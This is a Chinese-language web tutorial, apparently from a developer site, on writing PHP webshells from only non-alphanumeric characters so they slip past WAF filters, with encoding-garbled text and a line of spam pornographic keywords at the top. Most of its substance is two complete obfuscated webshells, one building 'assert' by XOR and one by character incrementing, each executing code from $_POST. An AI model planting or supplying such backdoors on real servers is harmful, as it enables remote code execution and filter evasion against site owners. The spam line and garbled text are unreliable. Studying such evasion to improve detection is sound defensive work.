亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

如何通過非數(shù)字與字符的方式實現(xiàn)PHP WebShell詳解

 更新時間:2017年07月02日 09:14:45   作者:Alpha_h4ck  
這篇文章主要給大家介紹了關于如何通過非數(shù)字與字符的方式實現(xiàn)PHP WebShell的相關資料,文中通過示例代碼介紹的非常詳細,對大家具有一定的參考學習價值,需要的朋友們下面來一起看看吧。

前言

本文主要給大家介紹的是關于通過非數(shù)字與字符實現(xiàn)PHP WebShell的相關資料,分享出來供大家參考學習,下面來一起看看詳細的介紹:

一般來說,我們所寫的webshell通常都會包含數(shù)字或字母。比如說下面這樣:

<?php

if(!preg_match('/[a-z0-9]/is',$_GET['shell'])){

eval($_GET['shell']);

}

但如果你想要繞過WAF的話,你還得使用一些其他的技術來重寫你的webshell。

思路

首先我們要明確思路,我的核心思想就是通過一系列字符變換最終利用非字母和非數(shù)字字符構(gòu)建出webshell,然后使用PHP的動態(tài)函數(shù)(例如“assert”)來完成函數(shù)名的拼接,最后動態(tài)執(zhí)行構(gòu)建出來的代碼。

所以,轉(zhuǎn)換方法就是解決這一問題的重點了。但是在開始之前,我需要跟大家討論以下php5和php7之間的區(qū)別。

php5的斷言(assert)是通過函數(shù)實現(xiàn)的,我們可以使用$f='assert';$f(…);這種方法來動態(tài)執(zhí)行任意代碼。但是在php7中,斷言已經(jīng)不再是一個函數(shù)了,而是一種語言結(jié)構(gòu)(類似eval),而且斷言(assert)也無法再作為函數(shù)名來實現(xiàn)代碼的動態(tài)執(zhí)行了,所以對于php7來說,問題可能會變得更加復雜了。不過各位也不用太過擔心,因為我們可以使用 file_put_contents函數(shù)來達到我們的目的。

為了方便起見,本文的實驗環(huán)境使用的是php5,關于php7的利用方式就請各位自行去探索啦:D

方法一

這是一種最簡單的方法了。在php中,我們可以通過異或運算(XOR)來得到一個或兩個字符串。因此,如果我們想要得到一個a-z之間的英文字符,我們就可以通過兩個非字母字符和字符數(shù)來生成所需要的字母字符。示例代碼如下:

<?php$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); //$_='assert';

$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');// $__='_POST';

$___=$$__;

$_($___[_]); // assert($_POST[_]);

解析結(jié)果如下:

方法二

在這種方法中,我們可以使用一些特殊的小技巧來實現(xiàn)我們的目標。首先,請大家參考php.net的這份文檔:【傳送門

文檔中寫到:“在處理字符變量的算術運算時,PHP遵循的是Perl的規(guī)范,而并非C語言規(guī)范。比如說在PHP和Perl中,$a = ‘Z'; $a++;經(jīng)過計算之后變量$a會變成 ‘AA',但是在C語言中, a = ‘Z'; a++;計算后會將a變?yōu)椤甗'(‘Z'的ASCII值為90,‘['的ASCII值為91)。請注意,字符變量可以進行自增運算但無法進行自減運算,而且只有ASCII字母和數(shù)字(a-z,A-Z,0-9)才支持這種運算,如果對其他字符變量進行這種運算將不會有任何作用,此時的原始字符串將保持不變?!?/p>

那么接下來,我們應該如何才能得到一個包含字符‘a(chǎn)'的變量呢?

字符串“Array”的首字母是一個大寫的‘A',而第四個字母則是一個小寫的‘a(chǎn)'。換句話說,我們可以通過這個字符串同時得到大寫和小寫的字母‘a(chǎn)'(A),這也就意味著我們可以通過這種方法得到a-z和A-Z中任意一個字母字符。

比如說在PHP中,如果你想拼接數(shù)組和字符串,那么你首先要將字符串(array)轉(zhuǎn)換成一個字符串(這個字符串的值為Array):

然后截取字符串的首字母,我們就得到了‘A'。

利用這項技術,我編寫了如下所示的webshell(由于PHP函數(shù)是對大小寫敏感的,所以我在結(jié)尾補上了ASSERT($_POST[_])):

<?php

$_=[];

$_=@"$_"; // $_='Array';

$_=$_['!'=='@']; // $_=$_[0];

$___=$_; // A

$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;

$___.=$__; // S

$___.=$__; // S

$__=$_;

$__++;$__++;$__++;$__++; // E

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// R

$___.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T

$___.=$__;

$____='_';

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// P

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// O

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// S

$____.=$__;

$__=$_;

$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// T

 $____.=$__;

$_=$$____;

$___($_[_]); // ASSERT($_POST[_]);

解析結(jié)果如下圖所示:

總結(jié)

很多網(wǎng)站現(xiàn)在都會對特殊字符進行過濾和檢測,因此希望這項技術可以給各位Web滲透測試人員提供一些解決問題的思路。

好了,以上就是這篇文章的全部內(nèi)容了,希望本文的內(nèi)容對大家的學習或者工作能帶來一定的幫助,如有疑問大家可以留言交流,謝謝大家對腳本之家的支持。

相關文章

  • javascript jq 彈出層實例

    javascript jq 彈出層實例

    javascript jq 彈出提示效果實現(xiàn)的方法有很多,可能會在某些地方看到過,下面為大家演示個示例介紹下如何實現(xiàn)jq 彈出層,感興趣的朋友可以參考下
    2013-08-08
  • js顯示世界時間示例(包括世界各大城市)

    js顯示世界時間示例(包括世界各大城市)

    這篇文章主要介紹了js顯示世界時間的方法,可現(xiàn)實世界各大城市的當前時間,涉及JavaScript針對時間的獲取與運算操作技巧,需要的朋友可以參考下
    2016-04-04
  • JS實現(xiàn)簡單的二元方程計算器功能示例

    JS實現(xiàn)簡單的二元方程計算器功能示例

    這篇文章主要介紹了JS實現(xiàn)簡單的二元方程計算器功能,涉及javascript數(shù)學運算相關操作技巧,需要的朋友可以參考下
    2017-01-01
  • 激活 ActiveX 控件

    激活 ActiveX 控件

    激活 ActiveX 控件...
    2006-10-10
  • JavaScript 自動完成腳本整理(33個)

    JavaScript 自動完成腳本整理(33個)

    所謂的提升用戶體驗,其實就是把所有用戶視為懶鬼,比如JavaScript自動完成(Autocomplete)腳本, 常用于表單,用戶只需輸入一兩個字母,就為你擴展、聯(lián)想、匹配和供君選擇,
    2009-10-10
  • 微信小程序 輪播圖實現(xiàn)原理及優(yōu)化詳解

    微信小程序 輪播圖實現(xiàn)原理及優(yōu)化詳解

    這篇文章主要介紹了微信小程序 輪播圖實現(xiàn)原理及優(yōu)化詳解,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下
    2019-09-09
  • JS中URL.createObjectURL使用示例講解

    JS中URL.createObjectURL使用示例講解

    URL.createObjectURL()方法會根據(jù)傳入的參數(shù)創(chuàng)建一個指向該參數(shù)對象的URL. 這個URL的生命僅存在于它被創(chuàng)建的這個文檔里. 新的對象URL指向執(zhí)行的File對象或者是Blob對象,這篇文章主要給大家介紹了關于JS中URL.createObjectURL使用的相關資料,需要的朋友可以參考下
    2022-03-03
  • 微信小程序頁面間值傳遞的兩種方法

    微信小程序頁面間值傳遞的兩種方法

    這篇文章主要介紹了微信小程序-頁面間值傳遞的2種方法,每種方法通過實例代碼給大家介紹的非常詳細,具有一定的參考借鑒價值,需要的朋友可以參考下
    2018-11-11
  • IE及firefox下獲取及設置樣式值的代碼

    IE及firefox下獲取及設置樣式值的代碼

    廢話少說,直接上Code,對IE與FF下的差異,均在代碼中有相關的注解
    2010-03-03
  • javascript編寫實用的省市選擇器

    javascript編寫實用的省市選擇器

    這篇文章主要介紹了javascript編寫實用的省市選擇器的方法及示例分享,非常不錯,推薦給有相同需求的小伙伴們。
    2015-02-02

最新評論